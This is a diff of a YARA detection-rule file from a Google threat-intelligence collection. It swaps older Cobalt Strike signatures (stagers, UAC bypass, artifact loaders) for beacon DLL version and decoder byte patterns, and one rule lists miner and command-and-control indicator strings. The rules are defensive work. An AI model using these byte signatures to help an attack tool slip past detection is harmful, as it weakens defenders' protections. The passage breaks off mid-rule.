$socket_recv = { - FF 15 [4] - 83 ?? FF - 74 ?? - 85 ?? - 74 ?? - 03 ?? - 83 ?? 02 - 72 ?? - 8D ?? FF - 80 [2] 0A - 75 ?? - 8D ?? FE - 80 [2] 0D - } - $fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]" + $version_sig = { 48 57 8B F9 83 F8 47 0F 87 2F 03 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Xor_Bin_V2_X_To_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_7 { meta: - description = "Cobalt Strike's resource/xor.bin signature for version 2.x through 4.x" + description = "Cobalt Strike's resources/beacon.dll Versions 3.7" author = "gssincla@google.com" - id = "1754746c-3a42-5f7d-808a-ba2e1c0a270e" + id = "6352a31c-34b8-5886-8e34-ef9221c22e6e" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Xor_Bin__32bit_v2_x_to_4_x.yara#L17-L36" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L659-L689" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "211ccc5d28b480760ec997ed88ab2fbc5c19420a3d34c1df7991e65642638a6f" - logic_hash = "ad662a263ede6c3ba964baf8abe4848ed1e994f2c236d4315cb60c1d51442620" + hash = "f18029e6b12158fb3993f4951dab2dc6e645bb805ae515d205a53a1ef41ca9b2" + logic_hash = "6ceb2cec8402a4679bad42d367156c74e897af4188442fdebc70d6ce2dd78bd6" score = 75 quality = 85 tags = "" strings: - $stub52 = {fc e8 ?? ?? ?? ?? [1-32] eb 27 5? 8b ?? 83 c? ?4 8b ?? 31 ?? 83 c? ?4 5? 8b ?? 31 ?? 89 ?? 31 ?? 83 c? ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb ea 5? ff e? e8 d4 ff ff ff} - $stub56 = {fc e8 ?? ?? ?? ?? [1-32] eb 2b 5d 8b ?? ?? 83 c5 ?4 8b ?? ?? 31 ?? 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e8 5? ff e? e8 d? ff ff ff} + $version_sig = { 48 57 8B F9 83 F8 49 0F 87 47 03 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: - any of them + all of them } -rule GCTI_Cobaltstrike_Resources_Elevate_X64_Dll_V3_0_To_V3_14_And_Sleeve_Elevate_X64_Dll_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_8 { meta: - description = "Cobalt Strike's resources/elevate.x64.dll signature for v3.0 to v3.14 and sleeve/elevate.x64.dll for v4.x" + description = "Cobalt Strike's resources/beacon.dll Versions 3.8" author = "gssincla@google.com" - id = "91d5c343-1084-5cfc-9dfa-46f530eb9625" + id = "f76712a4-df1c-5e6b-b5ac-9c74f2e202fc" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Elevate_X64_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_X64_Dll_v4_x.yara#L17-L71" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L691-L731" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "c3ee8a9181fed39cec3bd645b32b611ce98d2e84c5a9eff31a8acfd9c26410ec" - logic_hash = "6f23bcf6a0c360d2f83140ce633440b13d8b691e75c5560c65656cf8a6114224" + hash = "67b6557f614af118a4c409c992c0d9a0cc800025f77861ecf1f3bbc7c293d603" + logic_hash = "a0c78dd7cda055bc76a8661b0416a302d7b05d03eeea483d2d1695093cd6dc90" score = 75 quality = 85 tags = "" strings: - $wnd_proc = { - 81 ?? 21 01 00 00 - 75 ?? - 83 [5] 00 - 75 ?? - 45 33 ?? - 8D [2] - C7 [5] 01 00 00 00 - 45 [2] 28 - FF 15 [4] - 45 33 ?? - 8D [2] - 45 [2] 27 - 48 [2] - FF 15 [4] - 45 33 ?? - 45 33 ?? - BA 01 02 00 00 - 48 - } + $version_sig = { 48 57 8B F9 83 F8 4B 0F 87 5D 03 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $xmrig_srcpath = "C:/Users/SKOL-NOTE/Desktop/Loader/script.go" + $c2_1 = "ns7.softline.top" xor + $c2_2 = "ns8.softline.top" xor + $c2_3 = "ns9.softline.top" xor condition: - $wnd_proc + $version_sig and $decoder and not ( 2 of ( $c2_* ) or $xmrig_srcpath ) } -rule GCTI_Cobaltstrike_Resources_Reverse64_Bin_V2_5_Through_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_11 { meta: - description = "Cobalt Strike's resources/reverse64.bin signature for versions v2.5 to v4.x" + description = "Cobalt Strike's resources/beacon.dll Versions 3.11" author = "gssincla@google.com" - id = "966e6e4c-85e2-5c94-8245-25367802b7d2" + id = "00e42396-db81-5d43-90ee-5a97b379019e" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Reverse64_Bin_v2_5_through_v4_x.yara#L17-L99" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L739-L770" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "d2958138c1b7ef681a63865ec4a57b0c75cc76896bf87b21c415b7ec860397e8" - logic_hash = "c657234156293b9ac363b677490739ab0b5cc2ef149c9d9c37332dab9bb012f6" + hash = "2428b93464585229fd234677627431cae09cfaeb1362fe4f648b8bee59d68f29" + logic_hash = "24ca0a9c2249d1872a53dc228234bdc6803bdfe9e80847995e0951184a8d935c" score = 75 quality = 85 tags = "" strings: - $apiLocator = { - 48 [2] - AC - 41 [2] 0D - 41 [2] - 38 ?? - 75 ?? - 4C [4] - 45 [2] - 75 ?? - 5? - 44 [2] 24 - 49 [2] - 66 [4] - 44 [2] 1C - 49 [2] - 41 [3] - 48 - } - $calls = { - 48 89 C1 - 41 BA EA 0F DF E0 - FF D5 - 48 [2] - 6A ?? - 41 ?? - 4C [2] - 48 [2] - 41 BA 99 A5 74 61 - FF D5 - } + $version_sig = { 48 57 8B FA 83 F8 50 0F 87 11 03 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: - $apiLocator and $calls + all of them } -rule GCTI_Cobaltstrike_Resources_Httpstager_Bin_V2_5_Through_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_11_Bugfix_And_V3_12 { meta: - description = "Cobalt Strike's resources/httpstager.bin signature for versions 2.5 to 4.x" + description = "Cobalt Strike's resources/beacon.dll Versions 3.11-bugfix and 3.12" author = "gssincla@google.com" - id = "86109485-c26c-5c51-8d04-dd1add9a8c57" + id = "08ff2a2f-97bd-5839-b414-d67fbf2cdb0f" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpstager_Bin_v2_5_through_v4_x.yara#L17-L93" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L772-L804" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "a47569af239af092880751d5e7b68d0d8636d9f678f749056e702c9b063df256" - logic_hash = "3baab08b0118e00432f1869ba5daa4fc6383bfc020119bfbb3047a008c33fe72" + hash = "5912c96fffeabb2c5c5cdd4387cfbfafad5f2e995f310ace76ca3643b866e3aa" + logic_hash = "566eb14f918ad422d5a273390263e63ac37b00cd10ac3561e038fb1a27f85d80" score = 75 quality = 85 tags = "" + rs2 = "4476a93abe48b7481c7b13dc912090b9476a2cdf46a1c4287b253098e3523192" strings: - $apiLocator = { - 31 ?? - AC - C1 ?? 0D - 01 ?? - 38 ?? - 75 ?? - 03 [2] - 3B [2] - 75 ?? - 5? - 8B ?? 24 - 01 ?? - 66 8B [2] - 8B ?? 1C - 01 ?? - 8B ?? 8B - 01 ?? - 89 [3] - 5? - 5? - } - $downloaderLoop = { - B? 00 2F 00 00 - 39 ?? - 74 ?? - 31 ?? - ( E9 | EB ) - } + $version_sig = { 48 57 8B FA 83 F8 50 0F 87 0D 03 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: - $apiLocator and $downloaderLoop + all of them } -rule GCTI_Cobaltstrike_Resources_Bypassuac_Dll_V1_49_To_V3_14_And_Sleeve_Bypassuac_Dll_V4_0_To_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_13 { meta: - description = "Cobalt Strike's resources/bypassuac(-x86).dll from v1.49 to v3.14 (32-bit version) and sleeve/bypassuac.dll from v4.0 to at least v4.4" + description = "Cobalt Strike's resources/beacon.dll Versions 3.13" author = "gssincla@google.com" - id = "614046b5-cf81-56a5-8824-b3a7e14a8ed5" + id = "98dd32e6-9bb5-57b2-a5e5-1c74a0d1e6d3" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuac_Dll_v1_49_to_v3_14_and_Sleeve_Bypassuac_Dll_v4_0_to_v4_x.yara#L17-L94" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L806-L836" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "91d12e1d09a642feedee5da966e1c15a2c5aea90c79ac796e267053e466df365" - logic_hash = "7d59c0286f1936e386519a919472d01581b68a8167c89bd3cd3108d45251119a" + hash = "362119e3bce42e91cba662ea80f1a7957a5c2b1e92075a28352542f31ac46a0c" + logic_hash = "adafac8692ad676b0168b3e829bc7948db72953b95c79d483ae1a05f1d4f9b2b" score = 75 quality = 85 tags = "" strings: - $deleteFileCOM = { - A1 [4] - 6A 00 - 8B ?? - 5? - 5? - FF ?? 48 - 85 ?? - 75 ?? - A1 [4] - 5? - 8B ?? - FF ?? 54 - } - $copyFileCOM = { - A1 [4] - 6A 00 - FF [2] - 8B ?? - FF [5] - FF [5] - 5? - FF ?? 40 - 85 ?? - [2 - 6] - A1 [4] - 5? - 8B ?? - FF ?? 54 - } + $version_sig = { 4A 56 57 83 FA 5A 0F 87 2D 03 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Httpstager64_Bin_V3_2_Through_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_14 { meta: - description = "Cobalt Strike's resources/httpstager64.bin signature for versions v3.2 to v4.x" + description = "Cobalt Strike's resources/beacon.dll Versions 3.14" author = "gssincla@google.com" - id = "5530dce8-e5a1-5133-9b05-464e3397084a" + id = "00edfc72-c7b8-5100-8275-ae3548b96e49" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpstager64_Bin_v3_2_through_v4_x.yara#L17-L85" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L838-L866" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "ad93d1ee561bc25be4a96652942f698eac9b133d8b35ab7e7d3489a25f1d1e76" - logic_hash = "23666169565c6b3e5fa71767dc31096e7a25be049eeab16b074053d76c97c70b" + hash = "254c68a92a7108e8c411c7b5b87a2f14654cd9f1324b344f036f6d3b6c7accda" + logic_hash = "6faed2b69647b87d86d46ae73ad92cfe7b2746c306cd7480dc9f0c484c8882e2" score = 75 quality = 85 tags = "" + rs2 = "87b3eb55a346b52fb42b140c03ac93fc82f5a7f80697801d3f05aea1ad236730" strings: - $apiLocator = { - 48 [2] - AC - 41 [2] 0D - 41 [2] - 38 ?? - 75 ?? - 4C [4] - 45 [2] - 75 ?? - 5? - 44 [2] 24 - 49 [2] - 66 [4] - 44 [2] 1C - 49 [2] - 41 [3] - 48 - } - $postInternetOpenJmp = { - 41 ?? 3A 56 79 A7 - FF ?? - EB - } + $version_sig = { 83 FA 5B 77 15 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: - $apiLocator and $postInternetOpenJmp + all of them } -rule GCTI_Cobaltstrike_Resources_Httpsstager_Bin_V2_5_Through_V4_X +rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_0_Suspected { meta: - description = "Cobalt Strike's resources/httpsstager.bin signature for versions 2.5 to 4.x" + description = "Cobalt Strike's sleeve/beacon.dll Versions 4.0 (suspected, not confirmed)" author = "gssincla@google.com" - id = "f45aa40a-3936-50f9-a60e-de7181862d19" + id = "50ff6e44-ebc0-5000-a816-b385a6675768" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpsstager_Bin_v2_5_through_v4_x.yara#L17-L95" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L868-L901" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "5ebe813a4c899b037ac0ee0962a439833964a7459b7a70f275ac73ea475705b3" - logic_hash = "d2f722809a59faf8ecd85e46eadf58bf23ba5f515ad9c949843f1e6bfeec1fbf" + hash = "e2b2b72454776531bbc6a4a5dd579404250901557f887a6bccaee287ac71b248" + logic_hash = "6875099bc6df26f829f9f64e70bd7fdac6ac7b83a5596fc9359c127fef4e6db5" score = 75 quality = 85 tags = "" strings: - $apiLocator = { - 31 ?? - AC - C1 ?? 0D - 01 ?? - 38 ?? - 75 ?? - 03 [2] - 3B [2] - 75 ?? - 5? - 8B ?? 24 - 01 ?? - 66 8B [2] - 8B ?? 1C - 01 ?? - 8B ?? 8B - 01 ?? - 89 [3] - 5? - 5? - } - $InternetSetOptionA = { - 6A 04 - 5? - 6A 1F - 5? - 68 75 46 9E 86 - FF - } + $version_sig = { 51 4A 56 57 83 FA 62 0F 87 8F 03 00 00 FF 24 95 56 7B 00 10 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: - $apiLocator and $InternetSetOptionA + all of them } -rule GCTI_Cobaltstrike_Resources_Bypassuactoken_Dll_V3_11_To_V3_14 +rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_1_And_V4_2 { meta: - description = "Cobalt Strike's resources/bypassuactoken.dll from v3.11 to v3.14 (32-bit version)" + description = "Cobalt Strike's sleeve/beacon.dll Versions 4.1 and 4.2" author = "gssincla@google.com" - id = "b9f25fa5-bd1d-5ba0-9b1d-bb97e1dbf76b" + id = "793df916-bdf7-5743-b008-0113caf38bae" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuactoken_Dll_v3_11_to_v3_14.yara#L17-L151" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L903-L934" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "df1c7256dfd78506e38c64c54c0645b6a56fc56b2ffad8c553b0f770c5683070" - logic_hash = "fe0780b7f4c16b55cfa00ea7de4da8ce349ec8a72de763b72e816ebc8e934b6d" + hash = "daa42f4380cccf8729129768f3588bb98e4833b0c40ad0620bb575b5674d5fc3" + logic_hash = "7280a5c3f478ea40b6b72fb4669d5b8c21603e7fbfbc3815a83bc462ee19c0f5" score = 75 quality = 85 tags = "" + rs2 = "9de55f27224a4ddb6b2643224a5da9478999c7b2dea3a3d6b3e1808148012bcf" strings: - $isHighIntegrityProcess = { - 5? - 5? - 5? - 8B ?? - 6A 19 - 5? - FF 15 [4] - 85 C0 - 75 ?? - FF 15 [4] - 83 ?? 7A - 75 ?? - FF [2] - 5? - FF 15 [4] - 8B ?? - 8D [2] - 5? - FF [2] - 5? - 6A 19 - 5? - FF 15 [4] - 85 C0 - 74 ?? - FF ?? - FF 15 [4] - 8A ?? - FE C8 - 0F B6 C0 - 5? - FF ?? - FF 15 [4] - B? 01 00 00 00 - 5? - 81 ?? 00 30 00 00 - } - $executeTaskmgr = { - 6A 3C - 8D ?? C4 - 8B ?? - 6A 00 - 5? - 8B ?? - E8 [4] - 83 C4 0C - C7 [2] 3C 00 00 00 - 8D [2] - C7 [2] 40 00 00 00 - C7 [6] - C7 [2] 00 00 00 00 - 5? - C7 [2] 00 00 00 00 - C7 [6] - C7 [2] 00 00 00 00 - FF 15 [4] - FF 75 FC - } + $version_sig = { 48 57 8B F2 83 F8 63 0F 87 3C 03 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Artifact64_V1_49_V2_X_V3_0_V3_3_Thru_V3_14 +rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_3_V4_4_V4_5_And_V4_6 { meta: - description = "Cobalt Strike's resources/artifact64{.dll,.exe,big.exe,big.dll,bigsvc.exe,big.x64.dll} and resources/rtifactuac(alt)64.dll signature for versions v1.49, v2.x, v3.0, and v3.3 through v3.14" + description = "Cobalt Strike's sleeve/beacon.dll Versions 4.3 and 4.4" author = "gssincla@google.com" - id = "67902782-500e-5a89-8b2a-59ee21bcba3e" + id = "976e087c-f371-5fc6-85f8-9c803a91f549" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L17-L54" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L936-L967" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "9ec57d306764517b5956b49d34a3a87d4a6b26a2bb3d0fdb993d055e0cc9920d" - logic_hash = "289950e89fc743ff4a1b7dcb91c561c7d829cfe3ade1c2f1a09f2e9701cce461" + hash = "51490c01c72c821f476727c26fbbc85bdbc41464f95b28cdc577e5701790845f" + logic_hash = "6608a84c4fd3bf77fd5b426da8be250d8b99878bd746fa23789f4791a164ce33" score = 75 quality = 85 tags = "" + rs2 = "78a6fbefa677eeee29d1af4a294ee57319221b329a2fe254442f5708858b37dc" strings: - $a = { 8B [2] 48 98 48 [2] 48 [3] 8B [2] 48 98 48 [3] 44 [3] 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 48 98 48 [3] 0F B6 00 44 [2] 88 } + $version_sig = { 48 57 8B F2 83 F8 65 0F 87 47 03 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: - $a + all of them } -rule GCTI_Cobaltstrike_Resources_Artifact64_V3_1_V3_2_V3_14_And_V4_0 +rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_7_Suspected { meta: - description = "Cobalt Strike's resources/artifact64{svcbig.exe,.dll,big.dll,svc.exe} and resources/artifactuac(big)64.dll signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x" + description = "Cobalt Strike's sleeve/beacon.dll Versions 4.7 (suspected, not confirmed)" author = "gssincla@google.com" - id = "c9e9b8e0-16fe-5abc-b1fe-0e3e586f6db6" + id = "4b6f90dd-69f3-5555-9195-6a0aed0fff58" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L56-L84" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L969-L1002" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "2e7a39bd6ac270f8f548855b97c4cef2c2ce7f54c54dd4d1aa0efabeecf3ba90" - logic_hash = "e5af04baa1d18d5a2a2c005b40bf93fe6a7b2d7116dfcf3c5b3fa36657448eb9" + hash = "da9e91b3d8df3d53425dd298778782be3bdcda40037bd5c92928395153160549" + logic_hash = "297ff7c3acfe6f9676dc6c265c548f017f39ccc5217617344e3bccc704ac4c78" score = 75 quality = 85 tags = "" strings: - $decoderFunction = { 31 ?? EB 0F 41 [2] 03 47 [3] 44 [3] 48 [2] 39 ?? 41 [2] 7C EA 4C [6] E9 } + $version_sig = { 53 56 48 57 8B F2 83 F8 67 0F 87 5E 03 00 00 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: - $decoderFunction + all of them } -rule GCTI_Cobaltstrike_Resources_Artifact64_V3_14_To_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_2 { meta: - description = "Cobalt Strike's resources/artifact64{.exe,.dll,svc.exe,svcbig.exe,big.exe,big.dll,.x64.dll,big.x64.dll} and resource/artifactuac(alt)64.exe signature for versions v3.14 through v4.x" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.2" author = "gssincla@google.com" - id = "1c7731d3-429b-57aa-9c17-8de7d0841b1e" + id = "61188243-0b90-5bff-bcc8-50f10ed941f6" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L86-L128" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1029-L1068" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "decfcca0018f2cec4a200ea057c804bb357300a67c6393b097d52881527b1c44" - logic_hash = "af8ba6ba62bf1179510b0940e60f893f61b3ba10c81001dd90fe4c3521e56a37" + hash = "5993a027f301f37f3236551e6ded520e96872723a91042bfc54775dcb34c94a1" + logic_hash = "3803aaac537aec0b188870177e510a3789a71c19be576569b59aa146b2ba62c5" score = 75 quality = 85 tags = "" strings: - $fmtBuilder = { - 41 ?? 5C 00 00 00 - C7 [3] 5C 00 00 00 - C7 [3] 65 00 00 00 - C7 [3] 70 00 00 00 - C7 [3] 69 00 00 00 - C7 [3] 70 00 00 00 - C7 [3] 5C 00 00 00 - C7 [3] 2E 00 00 00 - 89 [3] - 48 [6] - E8 - } - $fmtString = "%c%c%c%c%c%c%c%c%cMSSE-%d-server" + $version_sig = { 4C 8D 05 9F F8 FF FF 8B D3 48 8B CF E8 05 1A 00 00 + EB 0A 8B D3 48 8B CF E8 41 21 00 00 48 8B 5C 24 30 + 48 83 C4 20 } + $decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Covertvpn_Dll_V2_1_To_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_3 { meta: - description = "Cobalt Strike's resources/covertvpn.dll signature for version v2.2 to v4.4" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.3" author = "gssincla@google.com" - id = "a65b855c-5703-5b9f-bb57-da8ebf898f9b" + id = "fb96ecff-809e-5704-974e-a2d8ef022daa" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Covertvpn_Dll_v2_1_to_v4_x.yara#L17-L120" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1070-L1109" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "0a452a94d53e54b1df6ba02bc2f02e06d57153aad111171a94ec65c910d22dcf" - logic_hash = "1f6e4254fdfd4f9b13c2000333aabbb7da90d2df7ee1b12faa6ea3c066351468" + hash = "7b00721efeff6ed94ab108477d57b03022692e288cc5814feb5e9d83e3788580" + logic_hash = "514d491b8066ed7127ebb152a27efbe65e1121da3b5460afe6987920a91f2863" score = 75 quality = 85 tags = "" strings: - $dropComponentsAndActivateDriver_prologue = { - 5? - 68 [4] - 68 [4] - C7 [3-5] 00 00 00 00 - FF 15 [4] - 50 - FF 15 [4] - 8B ?? - 85 ?? - 74 ?? - 8D [3-5] - 5? - FF 15 [4] - 50 - } - $dropFile = { - 6A 00 - 5? - E8 [4] - 83 C4 08 - 83 F8 FF - 74 ?? - 5? - [0-5] - E8 [4] - 83 C4 ?? - [0-2] - 6A 00 - 68 80 01 00 00 - 6A 02 - 6A 00 - 6A 05 - 68 00 00 00 40 - 5? - FF 15 [4] - 8B ?? - 83 ?? FF - 75 ?? - FF 15 [4] - 5? - } - $nfp = "npf.sys" nocase - $wpcap = "wpcap.dll" nocase + $version_sig = { 8B D3 48 8B CF E8 89 66 00 00 E9 23 FB FF FF + 41 B8 01 00 00 00 E9 F3 FD FF FF 48 8D 0D 2A F8 FF FF + E8 8D 2B 00 00 48 8B 5C 24 30 48 83 C4 20 } + $decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Httpsstager64_Bin_V3_2_Through_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_4 { meta: - description = "Cobalt Strike's resources/httpsstager64.bin signature for versions v3.2 to v4.x" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.4" author = "gssincla@google.com" - id = "c16e73fc-484a-5f7e-8127-d85a0254d842" + id = "97ef152c-86c7-513c-a881-e7d594d38dcf" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = 